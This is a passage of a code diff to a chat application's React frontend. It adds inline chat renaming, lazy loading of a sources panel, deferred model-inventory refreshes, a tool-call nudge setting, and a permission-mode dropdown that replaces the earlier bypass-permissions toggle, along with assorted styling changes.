+  Edit03Icon,
   Folder02Icon,
   LayoutAlignRightIcon,
+  MoreVerticalIcon,
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { useNavigate } from "@tanstack/react-router";
@@ -51,7 +58,9 @@ import { Tooltip as TooltipPrimitive } from "radix-ui";
 import {
   type CSSProperties,
   type ReactElement,
+  lazy,
   memo,
+  Suspense,
   useCallback,
   useEffect,
   useMemo,
@@ -81,6 +90,7 @@ import type { SelectedModelInput } from "./hooks/use-chat-model-runtime";
 import { useChatProjects } from "./hooks/use-chat-projects";
 import {
   type SidebarItem,
+  renameChatItem,
   useChatSidebarItems,
 } from "./hooks/use-chat-sidebar-items";
 import { useStagedModelPreparation } from "./hooks/use-staged-model-preparation";
@@ -134,6 +144,13 @@ import {
 } from "./utils/chat-history-storage";
 import { isAssistantLocalThreadId } from "./utils/thread-ids";
 
+
+const ProjectSourcesPanel = lazy(() =>
+  import("@/features/rag/components/project-sources-panel").then((module) => ({
+    default: module.ProjectSourcesPanel,
+  })),
+);
+
 type LoraCandidate = {
   id: string;
   baseModel: string;
@@ -892,6 +909,19 @@ function ProjectLanding({
   const [previews, setPreviews] = useState<
     Record<string, { snippet: string; date: string }>
   >({});
+  // Inline rename, mirroring the sidebar recent-row UX: edit the title in place,
+  // commit on Enter/blur, cancel on Escape. Reuses the projectId-agnostic
+  // renameChatItem so behavior matches the sidebar.
+  const [renamingId, setRenamingId] = useState<string | null>(null);
+  const [renameDraft, setRenameDraft] = useState("");
+  // Skips the input's blur-commit when Enter/Escape already handled it.
+  const skipRenameBlurRef = useRef(false);
+  // Optimistic title shown until the debounced sidebar refresh (fired by the
+  // rename) catches up, so the old name does not flash back in.
+  const [pendingRename, setPendingRename] = useState<{
+    id: string;
+    title: string;
+  } | null>(null);
 
   useEffect(() => {
     initialActiveThreadRef.current =
@@ -900,8 +930,40 @@ function ProjectLanding({
     useChatRuntimeStore.getState().setContextUsage(null);
     setPendingNewThreadId(null);
     setNewThreadNonce(crypto.randomUUID());
+    setRenamingId(null);
+    setPendingRename(null);
   }, [projectId]);
 
+  useEffect(() => {
+    if (!pendingRename) return;
+    const match = items.find((item) => item.id === pendingRename.id);
+    if (match && match.title === pendingRename.title) setPendingRename(null);
+  }, [items, pendingRename]);
+
+  const openRename = useCallback((item: SidebarItem) => {
+    skipRenameBlurRef.current = false;
+    setRenameDraft(item.title);
+    setRenamingId(item.id);
+  }, []);
+
+  const commitRename = useCallback(
+    async (item: SidebarItem) => {
+      const trimmed = renameDraft.trim();
+      setRenamingId(null);
+      if (!trimmed || trimmed === item.title) return;
+      setPendingRename({ id: item.id, title: trimmed });
+      try {
+        await renameChatItem(item, trimmed);
+      } catch (err) {
+        setPendingRename(null);
+        toast.error("Failed to rename chat", {
+          description: err instanceof Error ? err.message : undefined,
+        });
+      }
+    },
+    [renameDraft],
+  );
+
   useEffect(() => {
     if (!activeThreadId) {
       setPendingNewThreadId(null);
@@ -1018,40 +1080,135 @@ function ProjectLanding({
             </div>
 
             {projectTab === "sources" ? (
-              <ProjectSourcesPanel projectId={projectId} />
+              <Suspense
+                fallback={
+                  <div className="mt-8 rounded-[26px] bg-muted/30 px-6 py-10 text-center text-sm text-muted-foreground">
+                    Loading sources…
+                  </div>
+                }
+              >
+                <ProjectSourcesPanel projectId={projectId} />
+              </Suspense>
             ) : (
               <div className="mt-8 flex flex-col gap-1">
                 {items.map((item) => {
                   const preview = previews[item.id];
-                  return (
-                    <button
-                      key={`${item.type}:${item.id}`}
-                      type="button"
-                      onClick={() => {
-                        navigate({
-                          to: "/chat",
-                          search:
-                            item.type === "single"
-                              ? { thread: item.id, project: projectId }
-                              : { compare: item.id, project: projectId },
-                        });
-                      }}
-                      className="group flex min-h-[58px] w-full items-center gap-4 rounded-full px-4 py-2 text-left transition-colors hover:bg-nav-surface-hover"
-                    >
-                      <div className="min-w-0 flex-1">
-                        <div className="truncate text-[15px] font-semibold leading-5 text-foreground">
-                          {item.title}
+                  const displayTitle =
+                    pendingRename?.id === item.id
+                      ? pendingRename.title
+                      : item.title;
+                  if (renamingId === item.id) {
+                    return (
+                      <div
+                        key={`${item.type}:${item.id}`}
+                        className="flex min-h-[58px] w-full items-center rounded-full px-4 py-2"
+                      >
+                        <div className="min-w-0 flex-1">
+                          <input
+                            autoFocus
+                            value={renameDraft}
+                            onChange={(event) =>
+                              setRenameDraft(event.target.value)
+                            }
+                            onKeyDown={(event) => {
+                              if (event.key === "Enter") {
+                                if (event.nativeEvent.isComposing || event.keyCode === 229)
+                                  return;
+                                event.preventDefault();
+                                skipRenameBlurRef.current = true;
+                                void commitRename(item);
+                              } else if (event.key === "Escape") {
+                                event.preventDefault();
+                                skipRenameBlurRef.current = true;
+                                setRenamingId(null);
+                              }
+                            }}
+                            onBlur={() => {
+                              if (skipRenameBlurRef.current) {
+                                skipRenameBlurRef.current = false;
+                                return;
+                              }
+                              void commitRename(item);
+                            }}
+                            onFocus={(event) => event.currentTarget.select()}
+                            maxLength={120}
+                            aria-label="Rename chat"
+                            className="w-full border-0 bg-transparent text-[15px] font-semibold leading-5 text-foreground outline-none"
+                          />
+                          {preview?.snippet ? (
+                            <div className="mt-0.5 truncate text-[14px] leading-5 text-muted-foreground">
+                              {preview.snippet}
+                            </div>
+                          ) : null}
                         </div>
-                        {preview?.snippet ? (
-                          <div className="mt-0.5 truncate text-[14px] leading-5 text-muted-foreground">
-                            {preview.snippet}
-                          </div>
-                        ) : null}
                       </div>
-                      <span className="shrink-0 text-[14px] text-muted-foreground">
-                        {preview?.date ?? formatProjectChatDate(item.createdAt)}
-                      </span>
-                    </button>
+                    );
+                  }
+                  return (
+                    <div
+                      key={`${item.type}:${item.id}`}
+                      className="group relative flex min-h-[58px] w-full items-center rounded-full transition-colors hover:bg-nav-surface-hover has-[[data-state=open]]:bg-nav-surface-hover"
+                    >
+                      <button
+                        type="button"
+                        onClick={() => {
+                          navigate({
+                            to: "/chat",
+                            search:
+                              item.type === "single"
+                                ? { thread: item.id, project: projectId }
+                                : { compare: item.id, project: projectId },
+                          });
+                        }}
+                        className="flex min-h-[58px] min-w-0 flex-1 items-center gap-4 rounded-full px-4 py-2 text-left"
+                      >
+                        <div className="min-w-0 flex-1">
+                          <div className="truncate text-[15px] font-semibold leading-5 text-foreground">
+                            {displayTitle}
+                          </div>
+                          {preview?.snippet ? (
+                            <div className="mt-0.5 truncate text-[14px] leading-5 text-muted-foreground">
+                              {preview.snippet}
+                            </div>
+                          ) : null}
+                        </div>
+                        <span className="shrink-0 text-[14px] text-muted-foreground transition-opacity max-md:opacity-0 pointer-coarse:opacity-0 group-hover:opacity-0 group-has-[[data-state=open]]:opacity-0">
+                          {preview?.date ??
+                            formatProjectChatDate(item.createdAt)}
+                        </span>
+                      </button>
+                      <DropdownMenu>
+                        <DropdownMenuTrigger asChild>
+                          <button
+                            type="button"
+                            onClick={(event) => event.stopPropagation()}
+                            aria-label="Chat options"
+                            className="absolute right-3 top-1/2 inline-flex size-8 -translate-y-1/2 cursor-pointer items-center justify-center rounded-full text-muted-foreground outline-none transition-opacity hover:bg-foreground/10 md:pointer-fine:opacity-0 md:pointer-fine:pointer-events-none focus-visible:opacity-100 focus-visible:pointer-events-auto group-hover:opacity-100 group-hover:pointer-events-auto data-[state=open]:opacity-100 data-[state=open]:pointer-events-auto"
+                          >
+                            <HugeiconsIcon
+                              icon={MoreVerticalIcon}
+                              strokeWidth={1.75}
+                              className="size-icon"
+                            />
+                          </button>
+                        </DropdownMenuTrigger>
+                        <DropdownMenuContent
+                          side="bottom"
+                          align="end"
+                          sideOffset={4}
+                          className="unsloth-plus-menu w-56"
+                        >
+                          <DropdownMenuItem onSelect={() => openRename(item)}>
+                            <HugeiconsIcon
+                              icon={Edit03Icon}
+                              strokeWidth={1.75}
+                              className="size-icon"
+                            />
+                            <span>Rename</span>
+                          </DropdownMenuItem>
+                        </DropdownMenuContent>
+                      </DropdownMenu>
+                    </div>
                   );
                 })}
               </div>
@@ -2246,12 +2403,29 @@ export function ChatPage({
     return [...fromLoras, ...localModels];
   }, [lorasFromStore, localModels]);
 
-  useEffect(() => {
-    if (getTrainingCompareHandoff()) return;
-    void refresh();
+  const inventoryRefreshStartedRef = useRef(false);
+  const refreshDeferredModelInventories = useCallback(() => {
+    inventoryRefreshStartedRef.current = true;
+    void refresh({ includeLoras: true });
     refreshLocalModels();
   }, [refresh, refreshLocalModels]);
 
+  useEffect(() => {
+    if (getTrainingCompareHandoff()) return;
+    void refresh({ includeLoras: false });
+    const timeoutId = window.setTimeout(() => {
+      if (!inventoryRefreshStartedRef.current) {
+        refreshDeferredModelInventories();
+      }
+    }, 1200);
+    return () => window.clearTimeout(timeoutId);
+  }, [refresh, refreshDeferredModelInventories]);
+
+  useEffect(() => {
+    if (!active || !modelSelectorOpen) return;
+    refreshDeferredModelInventories();
+  }, [active, modelSelectorOpen, refreshDeferredModelInventories]);
+
   useEffect(() => {
     // ChatPage no longer remounts on navigation, so re-check the handoff whenever
     // we return to /chat (e.g. from the training progress "compare in chat" action).
@@ -2383,7 +2557,7 @@ export function ChatPage({
         {view.mode !== "compare" && (
           <div
             aria-hidden
-            className="pointer-events-none absolute left-0 right-[10px] top-[calc(var(--studio-content-top-inset,0px)+var(--studio-chat-header-height,48px))] z-20 h-6 bg-gradient-to-b from-background to-transparent"
+            className="chat-header-fade pointer-events-none absolute left-0 right-[10px] top-[calc(var(--studio-content-top-inset,0px)+var(--studio-chat-header-height,48px))] z-20 h-6 bg-gradient-to-b from-background to-transparent"
           />
         )}
         <div
@@ -2513,7 +2687,7 @@ export function ChatPage({
                     type="button"
                     onClick={toggleIncognito}
                     className={cn(
-                      "flex size-[var(--studio-chat-control-height,34px)] cursor-pointer items-center justify-center rounded-[12px] transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+                      "flex size-[var(--studio-chat-control-height,34px)] cursor-pointer items-center justify-center rounded-[12px] transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring",
                       incognito
                         ? "bg-primary/10 text-primary hover:bg-primary/15"
                         : "text-nav-fg hover:bg-nav-surface-hover hover:text-black dark:hover:text-white",
@@ -2543,7 +2717,7 @@ export function ChatPage({
                   <button
                     type="button"
                     onClick={() => setSettingsOpen(true)}
-                    className="flex size-[var(--studio-chat-control-height,34px)] translate-x-[2px] cursor-pointer items-center justify-center rounded-[12px] text-nav-fg transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                    className="flex size-[var(--studio-chat-control-height,34px)] translate-x-[2px] cursor-pointer items-center justify-center rounded-[12px] text-nav-fg transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
                     aria-label="Open run settings"
                   >
                     <HugeiconsIcon
diff --git a/studio/frontend/src/features/chat/chat-providers-dialog.tsx b/studio/frontend/src/features/chat/chat-providers-dialog.tsx
index da19cd749b..95e5cfbd79 100644
--- a/studio/frontend/src/features/chat/chat-providers-dialog.tsx
+++ b/studio/frontend/src/features/chat/chat-providers-dialog.tsx
@@ -1137,7 +1137,7 @@ export function ChatProvidersSettings({
                     <button
                       type="button"
                       onClick={() => setShowApiKey((visible) => !visible)}
-                      className="absolute top-1/2 right-1.5 flex size-5 -translate-y-1/2 items-center justify-center rounded text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                      className="absolute top-1/2 right-1.5 flex size-5 -translate-y-1/2 items-center justify-center rounded text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
                       aria-label={showApiKey ? "Hide API key" : "Show API key"}
                       aria-pressed={showApiKey}
                     >
@@ -1567,9 +1567,9 @@ export function ChatProvidersSettings({
           <button
             type="button"
             onClick={openAddProvider}
-            className="group/add flex w-full items-center justify-between gap-3 border-border/60 border-b px-3 py-2.5 text-left text-sm font-medium text-muted-foreground transition-colors hover:bg-muted/35 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-emerald-500/25 focus-visible:ring-inset"
+            className="group/add flex w-full items-center justify-between gap-3 border-border/60 border-b px-3 py-2.5 text-left text-sm font-medium text-muted-foreground transition-colors hover:bg-muted/35 focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring focus-visible:ring-inset"
           >
-            <span className="flex min-w-0 items-center gap-2 rounded-full border border-border bg-background/50 px-3 py-1.5 transition-colors group-hover/add:border-emerald-500/25 group-hover/add:text-emerald-700 dark:group-hover/add:text-emerald-300">
+            <span className="flex min-w-0 items-center gap-2 rounded-full border border-border bg-background/50 px-3 py-1.5 transition-colors group-hover/add:border-control-accent/25 group-hover/add:text-control-accent">
               <HugeiconsIcon icon={PlusSignIcon} className="size-4 shrink-0" />
               <span>Add connection</span>
             </span>
@@ -1616,7 +1616,7 @@ export function ChatProvidersSettings({
                           <span className="truncate text-sm font-medium text-foreground">
                             {provider.name}
                           </span>
-                          <span className="shrink-0 rounded-[6px] border border-emerald-500/15 bg-emerald-500/8 px-1.5 py-0.5 text-[10px] leading-none text-emerald-700 dark:text-emerald-300">
+                          <span className="shrink-0 rounded-[6px] border border-control-accent/15 bg-control-accent/8 px-1.5 py-0.5 text-[10px] leading-none text-control-accent">
                             {provider.models.length}{" "}
                             {provider.models.length === 1 ? "model" : "models"}
                           </span>
diff --git a/studio/frontend/src/features/chat/chat-settings-sheet.tsx b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
index 74578b9438..cedd298ecf 100644
--- a/studio/frontend/src/features/chat/chat-settings-sheet.tsx
+++ b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
@@ -6,16 +6,6 @@ import {
   AlertDescription,
   AlertTitle,
 } from "@/components/ui/alert";
-import {
-  AlertDialog,
-  AlertDialogAction,
-  AlertDialogCancel,
-  AlertDialogContent,
-  AlertDialogDescription,
-  AlertDialogFooter,
-  AlertDialogHeader,
-  AlertDialogTitle,
-} from "@/components/ui/alert-dialog";
 import { Button } from "@/components/ui/button";
 import { Checkbox } from "@/components/ui/checkbox";
 import {
@@ -39,6 +29,7 @@ import {
   DropdownMenuSeparator,
   DropdownMenuTrigger,
 } from "@/components/ui/dropdown-menu";
+import { Input } from "@/components/ui/input";
 import {
   InputGroup,
   InputGroupAddon,
@@ -80,6 +71,8 @@ import { Fragment, type ReactNode } from "react";
 import { useCallback, useEffect, useMemo, useRef, useState } from "react";
 import { toast } from "@/lib/toast";
 import { OpenAICodeExecSection } from "./components/openai-code-exec-section";
+import { PermissionModeDropdown } from "./permission-mode-select";
+import { resyncInferenceStatusAfterServerModelChange } from "./hooks/use-chat-model-runtime";
 import {
   type ExternalProviderConfig,
   getExternalProviderApiKey,
@@ -573,7 +566,10 @@ export function ChatSettingsPanel({
     status: llamaUpdateStatus,
     applying: llamaUpdating,
     apply: applyLlamaUpdate,
-  } = useLlamaUpdateCheck({ enabled: mtpUpdatable });
+  } = useLlamaUpdateCheck({
+    enabled: mtpUpdatable,
+    onReloadRequired: resyncInferenceStatusAfterServerModelChange,
+  });
   const handleMtpUpdate = useCallback(async () => {
     const result = await applyLlamaUpdate();
     if (result.ok) {
@@ -938,7 +934,7 @@ export function ChatSettingsPanel({
                 <button
                   type="button"
                   onClick={() => onOpenChange?.(false)}
-                  className="flex h-[34px] w-[34px] cursor-pointer items-center justify-center rounded-full text-nav-icon-idle dark:text-nav-fg-muted transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                  className="flex h-[34px] w-[34px] cursor-pointer items-center justify-center rounded-full text-nav-icon-idle dark:text-nav-fg-muted transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
                   aria-label="Close run settings"
                 >
                   <HugeiconsIcon
@@ -1064,7 +1060,7 @@ export function ChatSettingsPanel({
                         animateRadius={false}
                         icon={ChevronDownStandardIcon}
                         iconClassName="size-3.5"
-                        className="grid h-7 w-[64px] min-w-0 grid-cols-[minmax(0,1fr)_auto] items-center gap-1 rounded-full border-transparent bg-black/[0.04] dark:bg-white/[0.05] hover:bg-black/[0.06] dark:hover:bg-white/[0.1] pl-3 pr-2 py-0 text-[13px]! font-medium text-nav-fg focus-visible:ring-0 focus-visible:border-transparent [&_[data-slot=select-value]]:min-w-0 [&_[data-slot=select-value]]:truncate [&>svg]:shrink-0"
+                        className="grid h-7 w-[64px] min-w-0 grid-cols-[minmax(0,1fr)_auto] items-center gap-1 rounded-full border-border bg-background hover:bg-accent/50 dark:border-transparent dark:bg-white/[0.05] dark:hover:bg-white/[0.1] pl-3 pr-2 py-0 text-[13px]! font-medium text-nav-fg focus-visible:ring-0 focus-visible:border-transparent [&_[data-slot=select-value]]:min-w-0 [&_[data-slot=select-value]]:truncate [&>svg]:shrink-0"
                       >
                         <SelectValue />
                       </SelectTrigger>
@@ -1107,7 +1103,7 @@ export function ChatSettingsPanel({
                         animateRadius={false}
                         icon={ChevronDownStandardIcon}
                         iconClassName="size-3.5"
-                        className="grid h-7 w-[124px] min-w-0 grid-cols-[minmax(0,1fr)_auto] items-center gap-1 rounded-full border-transparent bg-black/[0.04] dark:bg-white/[0.05] hover:bg-black/[0.06] dark:hover:bg-white/[0.1] pl-3 pr-2 py-0 text-[13px]! font-medium text-nav-fg focus-visible:ring-0 focus-visible:border-transparent [&_[data-slot=select-value]]:min-w-0 [&_[data-slot=select-value]]:truncate [&>svg]:shrink-0"
+                        className="grid h-7 w-[124px] min-w-0 grid-cols-[minmax(0,1fr)_auto] items-center gap-1 rounded-full border-border bg-background hover:bg-accent/50 dark:border-transparent dark:bg-white/[0.05] dark:hover:bg-white/[0.1] pl-3 pr-2 py-0 text-[13px]! font-medium text-nav-fg focus-visible:ring-0 focus-visible:border-transparent [&_[data-slot=select-value]]:min-w-0 [&_[data-slot=select-value]]:truncate [&>svg]:shrink-0"
                         data-test-id="speculative-type-select"
                       >
                         <SelectValue />
@@ -1167,7 +1163,7 @@ export function ChatSettingsPanel({
                         3 on CPU/Mac.
                       </InfoHint>
                     </div>
-                    <input
+                    <Input
                       type="number"
                       disabled={modelControlsDisabled}
                       min={1}
@@ -1189,7 +1185,7 @@ export function ChatSettingsPanel({
                       }}
                       data-test-id="spec-draft-n-max-input"
                       aria-label="Speculative decoding draft tokens"
-                      className="h-7 w-[76px] rounded-full border-transparent bg-black/[0.04] dark:bg-white/[0.05] hover:bg-black/[0.06] dark:hover:bg-white/[0.1] pl-3 pr-2 py-0 text-[13px] font-medium text-nav-fg outline-none focus-visible:ring-0"
+                      className="h-7 w-[88px] rounded-full border-border bg-background hover:bg-accent/50 dark:border-transparent dark:bg-white/[0.05] dark:hover:bg-white/[0.1] pl-3 py-0 text-[13px] font-medium text-nav-fg outline-none focus-visible:ring-0"
                     />
                   </div>
                 )}
@@ -1732,6 +1728,7 @@ export function ChatSettingsPanel({
           <CollapsibleSection label="Tools">
             <div className="flex flex-col gap-5 pt-1">
               <AutoHealToolCallsToggle />
+              <NudgeToolCallsToggle />
               <ConfirmToolCallsToggle />
               <BypassPermissionsToggle />
               <MaxToolCallsSlider />
@@ -2006,10 +2003,33 @@ function AutoHealToolCallsToggle() {
   );
 }
 
+function NudgeToolCallsToggle() {
+  const nudgeToolCalls = useChatRuntimeStore((s) => s.nudgeToolCalls);
+  const setNudgeToolCalls = useChatRuntimeStore((s) => s.setNudgeToolCalls);
+
+  return (
+    <div className="flex items-center justify-between gap-3">
+      <div className="flex min-w-0 items-center gap-1.5">
+        <span className="min-w-0 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
+          Nudge Tool Calls
+        </span>
+        <InfoHint>
+          When a tool call cannot be repaired, re-ask the model once so the
+          intended tool still runs. API requests stay opt-in.
+        </InfoHint>
+      </div>
+      <Switch
+        className="panel-switch"
+        checked={nudgeToolCalls}
+        onCheckedChange={setNudgeToolCalls}
+      />
+    </div>
+  );
+}
+
 function ConfirmToolCallsToggle() {
-  const confirmToolCalls = useChatRuntimeStore((s) => s.confirmToolCalls);
   const setConfirmToolCalls = useChatRuntimeStore((s) => s.setConfirmToolCalls);
-  const bypassPermissions = useChatRuntimeStore((s) => s.bypassPermissions);
+  const permissionMode = useChatRuntimeStore((s) => s.permissionMode);
 
   return (
     <div className="flex items-center justify-between gap-3">
@@ -2019,85 +2039,49 @@ function ConfirmToolCallsToggle() {
             Confirm tool calls
           </span>
           <InfoHint>
-            When on, local Studio tool calls pause for your approval before they
-            run. Provider-hosted tools are not gated here.
+            When on, every local Unsloth tool call pauses for your approval
+            before it runs (the "Ask for approval" level). When off, tool calls
+            run without prompts inside the sandbox (the "Off" level).
+            Provider-hosted tools are not gated here.
           </InfoHint>
         </div>
-        {bypassPermissions ? (
+        {permissionMode === "full" ? (
           <span className="text-[11px] text-muted-foreground">
-            Overridden by Bypass permissions
+            Overridden by Full access (Bypass permissions)
           </span>
         ) : null}
       </div>
       <Switch
         className="panel-switch"
-        checked={confirmToolCalls && !bypassPermissions}
+        checked={permissionMode === "ask"}
         onCheckedChange={setConfirmToolCalls}
-        disabled={bypassPermissions}
+        disabled={permissionMode === "full"}
       />
     </div>
   );
 }
 
 function BypassPermissionsToggle() {
-  const bypassPermissions = useChatRuntimeStore((s) => s.bypassPermissions);
-  const setBypassPermissions = useChatRuntimeStore(
-    (s) => s.setBypassPermissions,
-  );
-  const [dialogOpen, setDialogOpen] = useState(false);
+  const permissionMode = useChatRuntimeStore((s) => s.permissionMode);
 
   return (
-    <div className="flex flex-col gap-1.5">
-      <div className="flex items-center justify-between gap-3">
-        <div className="flex min-w-0 items-center gap-1.5">
-          <span className="min-w-0 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
-            Bypass permissions
-          </span>
-          <InfoHint>
-            Dangerous. Runs every tool call with no confirmation and disables
-            the python/terminal sandbox. Environment secrets are stripped, but
-            code can still read files and credentials on your machine.
-          </InfoHint>
-        </div>
-        <Switch
-          className="panel-switch"
-          checked={bypassPermissions}
-          onCheckedChange={(next) => {
-            if (next) setDialogOpen(true);
-            else setBypassPermissions(false);
-          }}
-        />
+    <div className="flex flex-col gap-2">
+      <div className="flex min-w-0 items-center gap-1.5">
+        <span className="whitespace-nowrap text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
+          Bypass permissions
+        </span>
+        <InfoHint>
+          How Unsloth approves tool calls before they run. Full access is
+          dangerous: it disables confirmations and the code sandbox.
+        </InfoHint>
       </div>
-      {bypassPermissions ? (
+      {/* Full width, styled like the panel selects/preset input. */}
+      <PermissionModeDropdown triggerClassName="h-9 w-full justify-between rounded-full border-0 bg-[var(--panel-input-surface)] px-3.5 text-[13px] font-medium text-nav-fg shadow-none hover:bg-[var(--panel-input-surface)]" />
+      {permissionMode === "full" ? (
         <span className="text-[11px] text-bypass">
           Tool calls run with no confirmation and no sandbox.
         </span>
       ) : null}
-      <AlertDialog open={dialogOpen} onOpenChange={setDialogOpen}>
-        <AlertDialogContent size="sm">
-          <AlertDialogHeader>
-            <AlertDialogTitle>Enable Bypass permissions?</AlertDialogTitle>
-            <AlertDialogDescription>
-              Bypass permissions is dangerous since the AI model might delete,
-              corrupt your machine, and or cause real world damage to you or the
-              world - only accept if you are certain
-            </AlertDialogDescription>
-          </AlertDialogHeader>
-          <AlertDialogFooter>
-            <AlertDialogCancel>Cancel</AlertDialogCancel>
-            <AlertDialogAction
-              variant="destructive"
-              className="!bg-destructive !text-destructive-foreground hover:!bg-destructive/90"
-              onClick={() => {
-                setBypassPermissions(true);
-                setDialogOpen(false);
-              }}
-            >
-              I understand
-            </AlertDialogAction>
-          </AlertDialogFooter>
-        </AlertDialogContent>
-      </AlertDialog>
     </div>
   );
 }
diff --git a/studio/frontend/src/features/chat/components/context-usage-bar.tsx b/studio/frontend/src/features/chat/components/context-usage-bar.tsx
index 16dee2a624..80f502e222 100644
--- a/studio/frontend/src/features/chat/components/context-usage-bar.tsx
+++ b/studio/frontend/src/features/chat/components/context-usage-bar.tsx
@@ -23,7 +23,7 @@ function getSeverityColor(percent: number): {
 } {
   if (percent > 85) return { bar: "bg-red-500", text: "text-red-500" };
   if (percent > 65) return { bar: "bg-amber-500", text: "text-amber-500" };
-  return { bar: "bg-emerald-500", text: "text-emerald-500" };
+  return { bar: "bg-control-accent", text: "text-control-accent" };
 }
 
 export const ContextUsageBar: FC<{
diff --git a/studio/frontend/src/features/chat/components/openai-code-exec-section.tsx b/studio/frontend/src/features/chat/components/openai-code-exec-section.tsx
index b28bf83737..cb0234579b 100644
--- a/studio/frontend/src/features/chat/components/openai-code-exec-section.tsx
+++ b/studio/frontend/src/features/chat/components/openai-code-exec-section.tsx
@@ -60,18 +60,6 @@ const TTL_MAX = 20; // OpenAI hard cap on expires_after.minutes
 // minute without hammering /v1/containers.
 const REFRESH_POLL_MS = 30_000;
 
-function ageLabel(epochSeconds: number | null | undefined): string {
-  if (!epochSeconds) return "";
-  const ageSec = Math.max(0, Math.floor(Date.now() / 1000) - epochSeconds);
-  if (ageSec < 60) return `${ageSec}s ago`;
-  const ageMin = Math.floor(ageSec / 60);
-  if (ageMin < 60) return `${ageMin}m ago`;
-  const ageHr = Math.floor(ageMin / 60);
-  if (ageHr < 48) return `${ageHr}h ago`;
-  const ageDay = Math.floor(ageHr / 24);
-  return `${ageDay}d ago`;
-}
-
 function shortContainerId(id: string): string {
   // Mid-truncate keeps the "cntr_" prefix readable and still surfaces the
   // tail digits users sometimes copy off OpenAI's dashboard.
@@ -463,7 +451,7 @@ export function OpenAICodeExecSection({
           max={TTL_MAX}
           value={ttlValue}
           onChange={(e) => onTtlChange(e.target.value)}
-          className="h-8 w-14 px-2 text-center text-sm tabular-nums"
+          className="h-8 w-[72px] pl-3 text-sm tabular-nums"
         />
       </div>
 
@@ -509,7 +497,7 @@ export function OpenAICodeExecSection({
                   key={c.id}
                   className={`flex items-center gap-2 rounded-md border px-2 py-1.5 text-xs transition-colors ${
                     isActive
-                      ? "border-primary/30 bg-primary/5"
+                      ? "border-ring-strong bg-primary/5"
                       : "border-border/60 hover:bg-muted/40"
                   } ${canActivate ? "cursor-pointer" : ""} ${
                     running ? "" : "opacity-60"
diff --git a/studio/frontend/src/features/chat/components/project-switcher.tsx b/studio/frontend/src/features/chat/components/project-switcher.tsx
index e17a1d139e..13360ccf7e 100644
--- a/studio/frontend/src/features/chat/components/project-switcher.tsx
+++ b/studio/frontend/src/features/chat/components/project-switcher.tsx
@@ -49,7 +49,7 @@ export function ProjectSwitcher({
                 ? "Loading project"
                 : "Pick a project"
           }
-          className="-mx-1 flex h-[34px] shrink-0 items-center gap-2 rounded-full pl-3 pr-2.5 transition-colors hover:bg-[#ececec] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring dark:hover:bg-[#2d2e32]"
+          className="-mx-1 flex h-[34px] shrink-0 items-center gap-2 rounded-full pl-3 pr-2.5 transition-colors hover:bg-[#ececec] focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring dark:hover:bg-accent"
         >
           <HugeiconsIcon
             icon={Folder01Icon}
diff --git a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
index e23d1b0b33..10e0904e4f 100644
--- a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
+++ b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
@@ -4,6 +4,10 @@
 import { createElement, useCallback, useRef, useState } from "react";
 import { toast } from "@/lib/toast";
 import { confirmRemoteCodeIfNeeded } from "@/features/security";
+import {
+  confirmTransformersUpgradeIfNeeded,
+  useTransformersUpgradeDialogStore,
+} from "@/features/transformers-upgrade";
 import { consumeNativePathToken } from "@/features/native-intents/api";
 import {
   notifyNative,
@@ -44,6 +48,7 @@ import {
   mergeBackendRecommendedInference,
   resolveLoadMaxSeqLength,
 } from "../presets/preset-policy";
+import { recordLastLocalModelLoad } from "../utils/last-local-model-load";
 import {
   isMultimodalResponse,
 } from "../types/api";
@@ -244,18 +249,102 @@ function getTrustRemoteCodeRequiredMessage(modelName: string): string {
   return `${modelName} was not loaded because its custom code was not approved. Load it again to review the code and approve it.`;
 }
 
+function getTransformersUpgradeRequiredMessage(modelName: string): string {
+  return `${modelName} was not loaded because it needs a newer transformers release that was not installed. Load it again to install it.`;
+}
+
+/**
+ * Reconcile the chat runtime store against `/api/inference/status`: refresh the
+ * models/loras catalogs and either re-pin the active checkpoint or clear the
+ * loaded-model flags when nothing is loaded. Module-level so it can run outside
+ * a React render (e.g. the imperative resync below); `useChatModelRuntime.refresh`
+ * is a thin wrapper over it. External selections are left untouched since they
+ * have no backend mirror.
+ */
+async function syncInferenceStatusToStore(options?: {
+  signal?: AbortSignal;
+  includeLoras?: boolean;
+}): Promise<void> {
+  const signal = options?.signal;
+  const includeLoras = options?.includeLoras ?? true;
+  const { setModels, setLoras, setCheckpoint, setModelsError } =
+    useChatRuntimeStore.getState();
+  setModelsError(null);
+  try {
+    const [listRes, statusRes, lorasRes] = await Promise.all([
+      listModels(),
+      getInferenceStatus(),
+      includeLoras ? listLoras() : Promise.resolve(null),
+    ]);
+
+    // Cancellation can land while the requests above are in flight. Bail
+    // before writing backend state back -- cancelLoading already cleared it.
+    if (signal?.aborted) return;
+
+    setModels(listRes.models.map(toChatModelSummary));
+    if (lorasRes) {
+      setLoras(lorasRes.loras.map(toLoraSummary));
+    }
+
+    const selectedCheckpoint = useChatRuntimeStore.getState().params.checkpoint;
